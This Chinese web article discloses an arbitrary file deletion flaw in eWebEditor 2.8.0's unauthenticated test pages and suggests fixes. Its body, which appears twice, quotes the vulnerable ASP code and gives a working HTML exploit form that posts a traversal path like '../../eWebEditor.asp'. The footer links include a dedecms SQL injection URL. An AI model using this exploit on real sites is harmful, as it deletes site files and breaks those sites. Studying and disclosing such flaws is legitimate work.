Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法
发布时间:2009-04-18 13:34:00 作者:佚名 我要评论
此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的
(福利推荐:你还在原价购买阿里云服务器?现在阿里云0.8折限时抢购活动来啦!4核8G企业云服务器仅2998元/3年,立即抢购>>>:9i0i.cn/aliyun)
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了!
下面给出利用的htm:
<HTML><HEAD><TITLE>eWebEditor删除文件 </TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>
<b>增加新闻</b>
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post" name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><select name="d_picture" size=1><option value=''>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 ">
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML>
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!
解决方法:删除测试文件目录,把默认的登录密码修改,或直接删除管理页面,因为,我们配置好,很少再改动的,最好把一些后台文件压缩后,删除。
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:
sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了!
下面给出利用的htm:
<HTML><HEAD><TITLE>eWebEditor删除文件 </TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>
<b>增加新闻</b>
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post" name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><select name="d_picture" size=1><option value=''>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 ">
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML>
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!
解决方法:删除测试文件目录,把默认的登录密码修改,或直接删除管理页面,因为,我们配置好,很少再改动的,最好把一些后台文件压缩后,删除。
相关文章
- 偶尔在网上看到这些,拿来和大家一块看看,也好让各个站长懂得保护自己的网站2012-10-16
- 安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过2014-07-17
VLC媒体播放器MP4_ReadBox_rdrf()函数堆溢出漏洞
受影响系统: VideoLAN VLC Media Player 0.8.6e 描述: VLC Media Player是一款免费的媒体播放器。 VLC播放器的modules/demux/mp4/libmp4.c文件中的MP4_Rea2008-10-08- 有点鸡肋,配合前几天公布的iis6文件名解析漏洞达到获取webshell的目的。2010-09-30
WordPress WassUp插件 spy.php脚本含SQL注入漏洞
受影响系统: WordPress WassUp 1.4 - 1.4.3 不受影响系统: WordPress WassUp 1.4.3a 描述: WordPress是一款免费的论坛Blog系统。 WordPress的WassUp插件2008-10-08eWebEditor 6.2 目录遍历漏洞(asp/browse.asp)
最新eWebEditor 6.2版本存在目录遍历漏洞,漏洞页面asp/browse.asp,可通过漏洞遍里特定目录下的所有文件列表.2010-05-13- 首发:红科网安 作者:Amxking 漏洞程序:dedecms5.5 测试对象:织梦网CMS官方网站 提交时间:2010-03-17 漏洞类型:信息泄露 危险等级:低2011-03-11
- Discuz!NT是一款功能强大的基于ASP.net平台的BBS系统,占有不少的市场份额,特别是一些大中型专业社区都采用该系统。最近,ISTO成员在其最新的2.5版本中发现了一个安全漏洞2008-10-08
- 最新dedecms 5.6的注入代码: http://www.dedecms.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT%22011-03-11
手把手教你如何构造Office漏洞POC(以CVE-2012-0158为例)
近年来APT追踪盛行,最常见的就是各种以钓鱼开始的攻击,不仅仅有网站挂马式钓鱼,也有鱼叉式邮件钓鱼,下面小编就为大家介绍office漏洞CVE-2012-0158,一起来看看吧2016-09-28
最新评论